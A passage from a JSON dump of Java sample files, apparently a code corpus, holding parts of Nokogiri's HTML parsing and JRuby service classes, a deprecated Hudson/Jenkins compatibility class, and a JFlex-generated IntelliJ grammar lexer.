 Document document) {\n        HtmlDocument htmlDocument = (HtmlDocument) NokogiriService.HTML_DOCUMENT_ALLOCATOR.allocate(context.getRuntime(), klazz);\n        htmlDocument.setDocumentNode(context, document);\n        if (ruby_encoding.isNil()) {\n            // ruby_encoding might have detected by HtmlDocument::EncodingReader\n            if (detected_encoding != null && !detected_encoding.isNil()) {\n                ruby_encoding = detected_encoding;\n            } else {\n                // no encoding given & no encoding detected, then try to get it\n                String charset = tryGetCharsetFromHtml5MetaTag(document);\n                ruby_encoding = stringOrNil(context.getRuntime(), charset);\n            }\n        }\n        htmlDocument.setEncoding(ruby_encoding);\n        htmlDocument.setParsedEncoding(java_encoding);\n        return htmlDocument;\n    }\n    \n    // NekoHtml doesn't understand HTML5 meta tag format. This fails to detect charset\n    // from an HTML5 style meta tag. Luckily, the meta tag and charset exists in DOM tree\n    // so, this method attempts to find the charset.\n    private String tryGetCharsetFromHtml5MetaTag(Document document) {\n        if (!\"html\".equalsIgnoreCase(document.getDocumentElement().getNodeName())) return null;\n        NodeList list = document.getDocumentElement().getChildNodes();\n        for (int i = 0; i < list.getLength(); i++) {\n            if (\"head\".equalsIgnoreCase(list.item(i).getNodeName())) {\n                NodeList headers = list.item(i).getChildNodes();\n                for (int j = 0; j < headers.getLength(); j++) {\n                    if (\"meta\".equalsIgnoreCase(headers.item(j).getNodeName())) {\n                        NamedNodeMap nodeMap = headers.item(j).getAttributes();\n                        for (int k = 0; k < nodeMap.getLength(); k++) {\n                            if (\"charset\".equalsIgnoreCase(nodeMap.item(k).getNodeName())) {\n                                return nodeMap.item(k).getNodeValue();\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        return null;\n    }\n\n    /**\n     * Filter to strip out attributes that pertain to XML namespaces.\n     */\n    public static class RemoveNSAttrsFilter extends DefaultFilter {\n        @Override\n        public void startElement(QName element, XMLAttributes attrs,\n                                 Augmentations augs) throws XNIException {\n            int i;\n            for (i = 0; i < attrs.getLength(); ++i) {\n                if (isNamespace(attrs.getQName(i))) {\n                    attrs.removeAttributeAt(i);\n                    --i;\n                }\n            }\n\n            element.uri = null;\n            super.startElement(element, attrs, augs);\n        }\n    }\n    \n    public static class ElementValidityCheckFilter extends DefaultFilter {\n        private NokogiriErrorHandler errorHandler;\n        \n        private ElementValidityCheckFilter(NokogiriErrorHandler errorHandler) {\n            this.errorHandler = errorHandler;\n        }\n        \n        // element names from xhtml1-strict.dtd\n        private static String[][] element_names = {\n                {\"a\", \"abbr\", \"acronym\", \"address\", \"area\"},\n                {\"b\", \"base\", \"basefont\", \"bdo\", \"big\", \"blockquote\", \"body\", \"br\", \"button\"},\n                {\"caption\", \"cite\", \"code\", \"col\", \"colgroup\"},\n                {\"dd\", \"del\", \"dfn\", \"div\", \"dl\", \"dt\"},\n                {\"em\"},\n                {\"fieldset\", \"font\", \"form\", \"frame\", \"frameset\"},\n                {}, // g\n                {\"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\", \"head\", \"hr\", \"html\"},\n                {\"i\", \"iframe\", \"img\", \"input\", \"ins\"},\n                {}, // j\n                {\"kbd\"},\n                {\"label\", \"legend\", \"li\", \"link\"},\n                {\"map\", \"meta\"},\n                {\"noframes\", \"noscript\"},\n                {\"object\", \"ol\", \"optgroup\", \"option\"},\n                {\"p\", \"param\", \"pre\"},\n                {\"q\"},\n                {}, // r\n                {\"s\", \"samp\", \"script\", \"select\", \"small\", \"span\", \"strike\", \"strong\", \"style\", \"sub\", \"sup\"},\n                {\"table\", \"tbody\", \"td\", \"textarea\", \"tfoot\", \"th\", \"thead\", \"title\", \"tr\", \"tt\"},\n                {\"u\", \"ul\"},\n                {\"var\"},\n                {}, // w\n                {}, // x\n                {}, // y\n                {}  // z\n        };\n        \n        private boolean isValid(String testee) {\n            char[] c = testee.toCharArray();\n            int index = new Integer(c[0]) - 97;\n            if (index > 25) return false;\n            for (int i=0; i<element_names[index].length; i++) {\n                if (testee.equals(element_names[index][i])) {\n                    return true;\n                }\n            }\n            return false;\n        }\n        \n        @Override\n        public void startElement(QName name, XMLAttributes attrs, Augmentations augs) throws XNIException {\n            if (!isValid(name.rawname)) {\n                errorHandler.getErrors().add(new Exception(\"Tag \" + name.rawname + \" invalid\"));\n            }\n            super.startElement(name, attrs, augs);\n        }\n    }\n}\n"
  },
  {
    "path": "samples/Java/Hudson.java",
    "content": "/*\n * The MIT License\n *\n * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi,\n * Erik Ramfelt, Koichi Fujikawa, Red Hat, Inc., Seiji Sogabe,\n * Stephen Connolly, Tom Huybrechts, Yahoo! Inc., Alan Harder, CloudBees, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\npackage hudson.model;\n\nimport hudson.ExtensionListView;\nimport hudson.Functions;\nimport hudson.Platform;\nimport hudson.PluginManager;\nimport hudson.cli.declarative.CLIResolver;\nimport hudson.model.listeners.ItemListener;\nimport hudson.slaves.ComputerListener;\nimport hudson.util.CopyOnWriteList;\nimport hudson.util.FormValidation;\nimport jenkins.model.Jenkins;\nimport org.jvnet.hudson.reactor.ReactorException;\nimport org.kohsuke.stapler.QueryParameter;\nimport org.kohsuke.stapler.Stapler;\nimport org.kohsuke.stapler.StaplerRequest;\nimport org.kohsuke.stapler.StaplerResponse;\n\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletException;\nimport java.io.File;\nimport java.io.IOException;\nimport java.text.NumberFormat;\nimport java.text.ParseException;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\n\nimport static hudson.Util.fixEmpty;\n\npublic class Hudson extends Jenkins {\n\n    /**\n     * List of registered {@link hudson.model.listeners.ItemListener}s.\n     * @deprecated as of 1.286\n     */\n    private transient final CopyOnWriteList<ItemListener> itemListeners = ExtensionListView.createCopyOnWriteList(ItemListener.class);\n\n    /**\n    * List of registered {@link hudson.slaves.ComputerListener}s.\n     * @deprecated as of 1.286\n     */\n    private transient final CopyOnWriteList<ComputerListener> computerListeners = ExtensionListView.createCopyOnWriteList(ComputerListener.class);\n\n\n    @CLIResolver\n    public static Hudson getInstance() {\n        return (Hudson)Jenkins.getInstance();\n    }\n\n    public Hudson(File root, ServletContext context) throws IOException, InterruptedException, ReactorException {\n        this(root,context,null);\n    }\n\n    public Hudson(File root, ServletContext context, PluginManager pluginManager) throws IOException, InterruptedException, ReactorException {\n        super(root, context, pluginManager);\n    }\n\n    /**\n     * Gets all the installed {@link ItemListener}s.\n     *\n     * @deprecated as of 1.286.\n     *      Use {@link ItemListener#all()}.\n     */\n    public CopyOnWriteList<ItemListener> getJobListeners() {\n        return itemListeners;\n    }\n\n    /**\n     * Gets all the installed {@link ComputerListener}s.\n     *\n     * @deprecated as of 1.286.\n     *      Use {@link ComputerListener#all()}.\n     */\n    public CopyOnWriteList<ComputerListener> getComputerListeners() {\n        return computerListeners;\n    }\n\n    /**\n     * Gets the slave node of the give name, hooked under this Hudson.\n     *\n     * @deprecated\n     *      Use {@link #getNode(String)}. Since 1.252.\n     */\n    public Slave getSlave(String name) {\n        Node n = getNode(name);\n        if (n instanceof Slave)\n            return (Slave)n;\n        return null;\n    }\n\n    /**\n     * @deprecated\n     *      Use {@link #getNodes()}. Since 1.252.\n     */\n    public List<Slave> getSlaves() {\n        return (List)slaves;\n    }\n\n    /**\n     * Updates the slave list.\n     *\n     * @deprecated\n     *      Use {@link #setNodes(List)}. Since 1.252.\n     */\n    public void setSlaves(List<Slave> slaves) throws IOException {\n        setNodes(slaves);\n    }\n\n    /**\n     * @deprecated\n     *      Left only for the compatibility of URLs.\n     *      Should not be invoked for any other purpose.\n     */\n    public TopLevelItem getJob(String name) {\n        return getItem(name);\n    }\n\n    /**\n     * @deprecated\n     *      Used only for mapping jobs to URL in a case-insensitive fashion.\n     */\n    public TopLevelItem getJobCaseInsensitive(String name) {\n        String match = Functions.toEmailSafeString(name);\n        for(TopLevelItem item : getItems()) {\n            if(Functions.toEmailSafeString(item.getName()).equalsIgnoreCase(match)) {\n        return item;\n    }\n                }\n        return null;\n    }\n\n    /**\n     * @deprecated as of 1.317\n     *      Use {@link #doQuietDown()} instead.\n     */\n    public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException {\n        doQuietDown().generateResponse(null, rsp, this);\n    }\n\n    /**\n     * RSS feed for log entries.\n     *\n     * @deprecated\n     *   As on 1.267, moved to \"/log/rss...\"\n     */\n    public void doLogRss( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {\n        String qs = req.getQueryString();\n        rsp.sendRedirect2(\"./log/rss\"+(qs==null?\"\":'?'+qs));\n    }\n\n    /**\n     * @deprecated as of 1.294\n     *      Define your own check method, instead of relying on this generic one.\n     */\n    public void doFieldCheck(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n        doFieldCheck(\n                fixEmpty(req.getParameter(\"value\")),\n                fixEmpty(req.getParameter(\"type\")),\n                fixEmpty(req.getParameter(\"errorText\")),\n                fixEmpty(req.getParameter(\"warningText\"))).generateResponse(req,rsp,this);\n    }\n\n    /**\n     * Checks if the value for a field is set; if not an error or warning text is displayed.\n     * If the parameter \"value\" is not set then the parameter \"errorText\" is displayed\n     * as an error text. If the parameter \"errorText\" is not set, then the parameter \"warningText\"\n     * is displayed as a warning text.\n     * <p>\n     * If the text is set and the parameter \"type\" is set, it will validate that the value is of the\n     * correct type. Supported types are \"number, \"number-positive\" and \"number-negative\".\n     *\n     * @deprecated as of 1.324\n     *      Either use client-side validation (e.g. class=\"required number\")\n     *      or define your own check method, instead of relying on this generic one.\n     */\n    public FormValidation doFieldCheck(@QueryParameter(fixEmpty=true) String value,\n                                       @QueryParameter(fixEmpty=true) String type,\n                                       @QueryParameter(fixEmpty=true) String errorText,\n                                       @QueryParameter(fixEmpty=true) String warningText) {\n        if (value == null) {\n            if (errorText != null)\n                return FormValidation.error(errorText);\n            if (warningText != null)\n                return FormValidation.warning(warningText);\n            return FormValidation.error(\"No error or warning text was set for fieldCheck().\");\n        }\n\n        if (type != null) {\n            try {\n                if (type.equalsIgnoreCase(\"number\")) {\n                    NumberFormat.getInstance().parse(value);\n                } else if (type.equalsIgnoreCase(\"number-positive\")) {\n                    if (NumberFormat.getInstance().parse(value).floatValue() <= 0)\n                        return FormValidation.error(Messages.Hudson_NotAPositiveNumber());\n                } else if (type.equalsIgnoreCase(\"number-negative\")) {\n                    if (NumberFormat.getInstance().parse(value).floatValue() >= 0)\n                        return FormValidation.error(Messages.Hudson_NotANegativeNumber());\n                }\n            } catch (ParseException e) {\n                return FormValidation.error(Messages.Hudson_NotANumber());\n            }\n        }\n\n        return FormValidation.ok();\n    }\n\n    /**\n     * @deprecated\n     *      Use {@link Functions#isWindows()}.\n     */\n    public static boolean isWindows() {\n        return File.pathSeparatorChar==';';\n    }\n\n    /**\n     * @deprecated\n     *      Use {@link hudson.Platform#isDarwin()}\n     */\n    public static boolean isDarwin() {\n        return Platform.isDarwin();\n    }\n\n    /**\n     * @deprecated since 2007-12-18.\n     *      Use {@link #checkPermission(hudson.security.Permission)}\n     */\n    public static boolean adminCheck() throws IOException {\n        return adminCheck(Stapler.getCurrentRequest(), Stapler.getCurrentResponse());\n    }\n\n    /**\n     * @deprecated since 2007-12-18.\n     *      Use {@link #checkPermission(hudson.security.Permission)}\n     */\n    public static boolean adminCheck(StaplerRequest req,StaplerResponse rsp) throws IOException {\n        if (isAdmin(req)) return true;\n\n        rsp.sendError(StaplerResponse.SC_FORBIDDEN);\n        return false;\n    }\n\n    /**\n     * Checks if the current user (for which we are processing the current request)\n     * has the admin access.\n     *\n     * @deprecated since 2007-12-18.\n     *      This method is deprecated when Hudson moved from simple Unix root-like model\n     *      of \"admin gets to do everything, and others don't have any privilege\" to more\n     *      complex {@link hudson.security.ACL} and {@link hudson.security.Permission} based scheme.\n     *\n     *      <p>\n     *      For a quick migration, use {@code Hudson.getInstance().getACL().hasPermission(Hudson.ADMINISTER)}\n     *      To check if the user has the 'administer' role in Hudson.\n     *\n     *      <p>\n     *      But ideally, your plugin should first identify a suitable {@link hudson.security.Permission} (or create one,\n     *      if appropriate), then identify a suitable {@link hudson.security.AccessControlled} object to check its permission\n     *      against.\n     */\n    public static boolean isAdmin() {\n        return Jenkins.getInstance().getACL().hasPermission(ADMINISTER);\n    }\n\n    /**\n     * @deprecated since 2007-12-18.\n     *      Define a custom {@link hudson.security.Permission} and check against ACL.\n     *      See {@link #isAdmin()} for more instructions.\n     */\n    public static boolean isAdmin(StaplerRequest req) {\n        return isAdmin();\n    }\n\n    static {\n        XSTREAM.alias(\"hudson\",Hudson.class);\n    }\n\n    /**\n     * @deprecated  only here for backward comp\n     */\n    public static final class MasterComputer extends Jenkins.MasterComputer {\n        // no op\n    }\n\n    /**\n     * @deprecated  only here for backward comp\n     */\n    public static class CloudList extends Jenkins.CloudList {\n        public CloudList(Jenkins h) {\n            super(h);\n        }\n\n        public CloudList() {// needed for XStream deserialization\n            super();\n        }\n    }\n}\n"
  },
  {
    "path": "samples/Java/JFlexLexer.java",
    "content": "/* The following code was generated by JFlex 1.4.3 on 28/01/16 11:27 */\n\npackage test;\nimport com.intellij.lexer.*;\nimport com.intellij.psi.tree.IElementType;\nimport static org.intellij.grammar.psi.BnfTypes.*;\n\n\n/**\n * This class is a scanner generated by \n * <a href=\"http://www.jflex.de/\">JFlex</a> 1.4.3\n * on 28/01/16 11:27 from the specification file\n * <tt>/home/abigail/code/intellij-grammar-kit-test/src/test/_GrammarLexer.flex</tt>\n */\npublic class _GrammarLexer implements FlexLexer {\n  /** initial size of the lookahead buffer */\n  private static final int ZZ_BUFFERSIZE = 16384;\n\n  /** lexical states */\n  public static final int YYINITIAL = 0;\n\n  /**\n   * ZZ_LEXSTATE[l] is the state in the DFA for the lexical state l\n   * ZZ_LEXSTATE[l+1] is the state in the DFA for the lexical state l\n   *                  at the beginning of a line\n   * l is of the form l = 2*k, k a non negative integer\n   */\n  private static final int ZZ_LEXSTATE[] = { \n     0, 0\n  };\n\n  /** \n   * Translates characters to character classes\n   */\n  private static final String ZZ_CMAP_PACKED = \n    \"\\11\\0\\1\\1\\1\\1\\1\\0\\1\\1\\1\\1\\22\\0\\1\\1\\101\\0\\1\\13\"+\n    \"\\1\\0\\1\\3\\1\\14\\1\\0\\1\\10\\1\\0\\1\\2\\3\\0\\1\\12\\1\\7\"+\n    \"\\3\\0\\1\\6\\1\\4\\1\\5\\1\\11\\uff8a\\0\";\n\n  /** \n   * Translates characters to character classes\n   */\n  private static final char [] ZZ_CMAP = zzUnpackCMap(ZZ_CMAP_PACKED);\n\n  /** \n   * Translates DFA states to action switch labels.\n   */\n  private static final int [] ZZ_ACTION = zzUnpackAction();\n\n  private static final String ZZ_ACTION_PACKED_0 =\n    \"\\1\\0\\1\\1\\1\\2\\3\\1\\1\\3\\10\\0\\1\\4\\1\\5\";\n\n  private static int [] zzUnpackAction() {\n    int [] result = new int[17];\n    int offset = 0;\n    offset = zzUnpackAction(ZZ_ACTION_PACKED_0, offset, result);\n    return result;\n  }\n\n  private static int zzUnpackAction(String packed, int offset, int [] result) {\n    int i = 0;       /* index in packed string  */\n    int j = offset;  /* index in unpacked array */\n    int l = packed.length();\n    while (i < l) {\n      int count = packed.charAt(i++);\n      int value = packed.charAt(i++);\n      do result[j++] = value; while (--count > 0);\n    }\n    return j;\n  }\n\n\n  /** \n   * Translates a state to a row index in the transition table\n   */\n  private static final int [] ZZ_ROWMAP = zzUnpackRowMap();\n\n  private static final String ZZ_ROWMAP_PACKED_0 =\n    \"\\0\\0\\0\\15\\0\\32\\0\\47\\0\\64\\0\\101\\0\\15\\0\\116\"+\n    \"\\0\\133\\0\\150\\0\\165\\0\\202\\0\\217\\0\\234\\0\\251\\0\\15\"+\n    \"\\0\\15\";\n\n  private static int [] zzUnpackRowMap() {\n    int [] result = new int[17];\n    int offset = 0;\n    offset = zzUnpackRowMap(ZZ_ROWMAP_PACKED_0, offset, result);\n    return result;\n  }\n\n  private static int zzUnpackRowMap(String packed, int offset, int [] result) {\n    int i = 0;  /* index in packed string  */\n    int j = offset;  /* index in unpacked array */\n    int l = packed.length();\n    while (i < l) {\n      int high = packed.charAt(i++) << 16;\n      result[j++] = high | packed.charAt(i++);\n    }\n    return j;\n  }\n\n  /** \n   * The transition table of the DFA\n   */\n  private static final int [] ZZ_TRANS = zzUnpackTrans();\n\n  private static final String ZZ_TRANS_PACKED_0 =\n    \"\\1\\2\\1\\3\\1\\4\\1\\2\\1\\5\\2\\2\\1\\6\\5\\2\"+\n    \"\\16\\0\\1\\3\\16\\0\\1\\7\\16\\0\\1\\10\\20\\0\\1\\11\"+\n    \"\\11\\0\\1\\12\\20\\0\\1\\13\\4\\0\\1\\14\\25\\0\\1\\15\"+\n    \"\\10\\0\\1\\16\\21\\0\\1\\17\\10\\0\\1\\20\\12\\0\\1\\21\"+\n    \"\\6\\0\";\n\n  private static int [] zzUnpackTrans() {\n    int [] result = new int[182];\n    int offset = 0;\n    offset = zzUnpackTrans(ZZ_TRANS_PACKED_0, offset, result);\n    return result;\n  }\n\n  private static int zzUnpackTrans(String packed, int offset, int [] result) {\n    int i = 0;       /* index in packed string  */\n    int j = offset;  /* index in unpacked array */\n    int l = packed.length();\n    while (i < l) {\n      int count = packed.charAt(i++);\n      int value = packed.charAt(i++);\n      value--;\n      do result[j++] = value; while (--count > 0);\n    }\n    return j;\n  }\n\n\n  /* error codes */\n  private static final int ZZ_UNKNOWN_ERROR = 0;\n  private static final int ZZ_NO_MATCH = 1;\n  private static final int ZZ_PUSHBACK_2BIG = 2;\n  private static final char[] EMPTY_BUFFER = new char[0];\n  private static final int YYEOF = -1;\n  private static java.io.Reader zzReader = null; // Fake\n\n  /* error messages for the codes above */\n  private static final String ZZ_ERROR_MSG[] = {\n    \"Unkown internal scanner error\",\n    \"Error: could not match input\",\n    \"Error: pushback value was too large\"\n  };\n\n  /**\n   * ZZ_ATTRIBUTE[aState] contains the attributes of state <code>aState</code>\n   */\n  private static final int [] ZZ_ATTRIBUTE = zzUnpackAttribute();\n\n  private static final String ZZ_ATTRIBUTE_PACKED_0 =\n    \"\\1\\0\\1\\11\\4\\1\\1\\11\\10\\0\\2\\11\";\n\n  private static int [] zzUnpackAttribute() {\n    int [] result = new int[17];\n    int offset = 0;\n    offset = zzUnpackAttribute(ZZ_ATTRIBUTE_PACKED_0, offset, result);\n    return result;\n  }\n\n  private static int zzUnpackAttribute(String packed, int offset, int [] result) {\n    int i = 0;       /* index in packed string  */\n    int j = offset;  /* index in unpacked array */\n    int l = packed.length();\n    while (i < l) {\n      int count = packed.charAt(i++);\n      int value = packed.charAt(i++);\n      do result[j++] = value; while (--count > 0);\n    }\n    return j;\n  }\n\n  /** the current state of the DFA */\n  private int zzState;\n\n  /** the current lexical state */\n  private int zzLexicalState = YYINITIAL;\n\n  /** this buffer contains the current text to be matched and is\n      the source of the yytext() string */\n  private CharSequence zzBuffer = \"\";\n\n  /** this buffer may contains the current text array to be matched when it is cheap to acquire it */\n  private char[] zzBufferArray;\n\n  /** the textposition at the last accepting state */\n  private int zzMarkedPos;\n\n  /** the textposition at the last state to be included in yytext */\n  private int zzPushbackPos;\n\n  /** the current text position in the buffer */\n  private int zzCurrentPos;\n\n  /** startRead marks the beginning of the yytext() string in the buffer */\n  private int zzStartRead;\n\n  /** endRead marks the last character in the buffer, that has been read\n      from input */\n  private int zzEndRead;\n\n  /**\n   * zzAtBOL == true <=> the scanner is currently at the beginning of a line\n   */\n  private boolean zzAtBOL = true;\n\n  /** zzAtEOF == true <=> the scanner is at the EOF */\n  private boolean zzAtEOF;\n\n  /* user code: */\n  public _GrammarLexer() {\n    this((java.io.Reader)null);\n  }\n\n\n  /**\n   * Creates a new scanner\n   *\n   * @param   in  the java.io.Reader to read input from.\n   */\n  public _GrammarLexer(java.io.Reader in) {\n    this.zzReader = in;\n  }\n\n\n  /** \n   * Unpacks the compressed character translation table.\n   *\n   * @param packed   the packed character translation table\n   * @return         the unpacked character translation table\n   */\n  private static char [] zzUnpackCMap(String packed) {\n    char [] map = new char[0x10000];\n    int i = 0;  /* index in packed string  */\n    int j = 0;  /* index in unpacked array */\n    while (i < 52) {\n      int  count = packed.charAt(i++);\n      char value = packed.charAt(i++);\n      do map[j++] = value; while (--count > 0);\n    }\n    return map;\n  }\n\n  public final int getTokenStart(){\n    return zzStartRead;\n  }\n\n  public final int getTokenEnd(){\n    return getTokenStart() + yylength();\n  }\n\n  public void reset(CharSequence buffer, int start, int end,int initialState){\n    zzBuffer = buffer;\n    zzBufferArray = com.intellij.util.text.CharArrayUtil.fromSequenceWithoutCopying(buffer);\n    zzCurrentPos = zzMarkedPos = zzStartRead = start;\n    zzPushbackPos = 0;\n    zzAtEOF  = false;\n    zzAtBOL = true;\n    zzEndRead = end;\n    yybegin(initialState);\n  }\n\n  /**\n   * Refills the input buffer.\n   *\n   * @return      <code>false</code>, iff there was new input.\n   *\n   * @exception   java.io.IOException  if any I/O-Error occurs\n   */\n  private boolean zzRefill() throws java.io.IOException {\n    return true;\n  }\n\n\n  /**\n   * Returns the current lexical state.\n   */\n  public final int yystate() {\n    return zzLexicalState;\n  }\n\n\n  /**\n   * Enters a new lexical state\n   *\n   * @param newState the new lexical state\n   */\n  public final void yybegin(int newState) {\n    zzLexicalState = newState;\n  }\n\n\n  /**\n   * Returns the text matched by the current regular expression.\n   */\n  public final CharSequence yytext() {\n    return zzBuffer.subSequence(zzStartRead, zzMarkedPos);\n  }\n\n\n  /**\n   * Returns the character at position <tt>pos</tt> from the\n   * matched text.\n   *\n   * It is equivalent to yytext().charAt(pos), but faster\n   *\n   * @param pos the position of the character to fetch.\n   *            A value from 0 to yylength()-1.\n   *\n   * @return the character at position pos\n   */\n  public final char yycharat(int pos) {\n    return zzBufferArray != null ? zzBufferArray[zzStartRead+pos]:zzBuffer.charAt(zzStartRead+pos);\n  }\n\n\n  /**\n   * Returns the length of the matched text region.\n   */\n  public final int yylength() {\n    return zzMarkedPos-zzStartRead;\n  }\n\n\n  /**\n   * Reports an error that occured while scanning.\n   *\n   * In a wellformed scanner (no or only correct usage of\n   * yypushback(int) and a match-all fallback rule) this method\n   * will only be called with things that \"Can't Possibly Happen\".\n   * If this method is called, something is seriously wrong\n   * (e.g. a JFlex bug producing a faulty scanner etc.).\n   *\n   * Usual syntax/scanner level error handling should be done\n   * in error fallback rules.\n   *\n   * @param   errorCode  the code of the errormessage to display\n   */\n  private void zzScanError(int errorCode) {\n    String message;\n    try {\n      message = ZZ_ERROR_MSG[errorCode];\n    }\n    catch (ArrayIndexOutOfBoundsException e) {\n      message = ZZ_ERROR_MSG[ZZ_UNKNOWN_ERROR];\n    }\n\n    throw new Error(message);\n  }\n\n\n  /**\n   * Pushes the specified amount of characters back into the input stream.\n   *\n   * They will be read again by then next call of the scanning method\n   *\n   * @param number  the number of characters to be read again.\n   *                This number must not be greater than yylength()!\n   */\n  public void yypushback(int number)  {\n    if ( number > yylength() )\n      zzScanError(ZZ_PUSHBACK_2BIG);\n\n    zzMarkedPos -= number;\n  }\n\n\n  /**\n   * Resumes scanning until the next regular expression is matched,\n   * the end of input is encountered or an I/O-Error occurs.\n   *\n   * @return      the next token\n   * @exception   java.io.IOException  if any I/O-Error occurs\n   */\n  public IElementType advance() throws java.io.IOException {\n    int zzInput;\n    int zzAction;\n\n    // cached fields:\n    int zzCurrentPosL;\n    int zzMarkedPosL;\n    int zzEndReadL = zzEndRead;\n    CharSequence zzBufferL = zzBuffer;\n    char[] zzBufferArrayL = zzBufferArray;\n    char [] zzCMapL = ZZ_CMAP;\n\n    int [] zzTransL = ZZ_TRANS;\n    int [] zzRowMapL = ZZ_ROWMAP;\n    int [] zzAttrL = ZZ_ATTRIBUTE;\n\n    while (true) {\n      zzMarkedPosL = zzMarkedPos;\n\n      zzAction = -1;\n\n      zzCurrentPosL = zzCurrentPos = zzStartRead = zzMarkedPosL;\n\n      zzState = ZZ_LEXSTATE[zzLexicalState];\n\n\n      zzForAction: {\n        while (true) {\n\n          if (zzCurrentPosL < zzEndReadL)\n            zzInput = (zzBufferArrayL != null ? zzBufferArrayL[zzCurrentPosL++] : zzBufferL.charAt(zzCurrentPosL++));\n          else if (zzAtEOF) {\n            zzInput = YYEOF;\n            break zzForAction;\n          }\n          else {\n            // store back cached positions\n            zzCurrentPos  = zzCurrentPosL;\n            zzMarkedPos   = zzMarkedPosL;\n            boolean eof = zzRefill();\n            // get translated positions and possibly new buffer\n            zzCurrentPosL  = zzCurrentPos;\n            zzMarkedPosL   = zzMarkedPos;\n            zzBufferL      = zzBuffer;\n            zzEndReadL     = zzEndRead;\n            if (eof) {\n              zzInput = YYEOF;\n              break zzForAction;\n            }\n            else {\n              zzInput = (zzBufferArrayL != null ? zzBufferArrayL[zzCurrentPosL++] : zzBufferL.charAt(zzCurrentPosL++));\n            }\n          }\n          int zzNext = zzTransL[ zzRowMapL[zzState] + zzCMapL[zzInput] ];\n          if (zzNext == -1) break zzForAction;\n          zzState = zzNext;\n\n          int zzAttributes = zzAttrL[zzState];\n          if ( (zzAttributes & 1) == 1 ) {\n            zzAction = zzState;\n            zzMarkedPosL = zzCurrentPosL;\n            if ( (zzAttributes & 8) == 8 ) break zzForAction;\n          }\n\n        }\n      }\n\n      // store back cached position\n      zzMarkedPos = zzMarkedPosL;\n\n      switch (zzAction < 0 ? zzAction : ZZ_ACTION[zzAction]) {\n        case 1: \n          { return com.intellij.psi.TokenType.BAD_CHARACTER;\n          }\n        case 6: break;\n        case 4: \n          { return BNF_STRING;\n          }\n        case 7: break;\n        case 5: \n          { return BNF_NUMBER;\n          }\n        case 8: break;\n        case 3: \n          { return BNF_ID;\n          }\n        case 9: break;\n        case 2: \n          { return com.intellij.psi.TokenType.WHITE_SPACE;\n          }\n        case 10: break;\n        default:\n          if (zzInput == YYEOF && zzStartRead == zzCurrentPos) {\n            zzAtEOF = true;\n            return null;\n          }\n          else {\n            zzScanError(ZZ_NO_MATCH);\n          }\n      }\n    }\n  }\n\n\n}\n"
  },
  {
    "path": "samples/Java/NokogiriService.java",
    "content": "/**\n * (The MIT License)\n *\n * Copyright (c) 2008 - 2011:\n *\n * * {Aaron Patterson}[http://tenderlovemaking.com]\n * * {Mike Dalessio}[http://mike.daless.io]\n * * {Charles Nutter}[http://blog.headius.com]\n * * {Sergio Arbeo}[http://www.serabe.com]\n * * {Patrick Mahoney}[http://polycrystal.org]\n * * {Yoko Harada}[http://yokolet.blogspot.com]\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * 'Software'), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n * \n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\npackage nokogiri;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.jruby.Ruby;\nimport org.jruby.RubyArray;\nimport org.jruby.RubyClass;\nimport org.jruby.RubyFixnum;\nimport org.jruby.RubyModule;\nimport org.jruby.runtime.ObjectAllocator;\nimport org.jruby.runtime.builtin.IRubyObject;\nimport org.jruby.runtime.load.BasicLibraryService;\n\n/**\n * Class to provide Nokogiri. This class is used to make \"require 'nokogiri'\" work\n * in JRuby. Also, this class holds a Ruby type cache and allocators of Ruby types.\n * \n * @author headius\n * @author Yoko Harada <yokolet@gmail.com>\n */\npublic class NokogiriService implements BasicLibraryService {\n    public static final String nokogiriClassCacheGvarName = \"$NOKOGIRI_CLASS_CACHE\";\n    public static Map<String, RubyClass> nokogiriClassCache;\n\n    public boolean basicLoad(Ruby ruby) {\n        init(ruby);\n        createNokogiriClassCahce(ruby);\n        return true;\n    }\n    \n    private static void createNokogiriClassCahce(Ruby ruby) {\n        nokogiriClassCache = Collections.synchronizedMap(new HashMap<String, RubyClass>());\n        nokogiriClassCache.put(\"Nokogiri::EncodingHandler\", 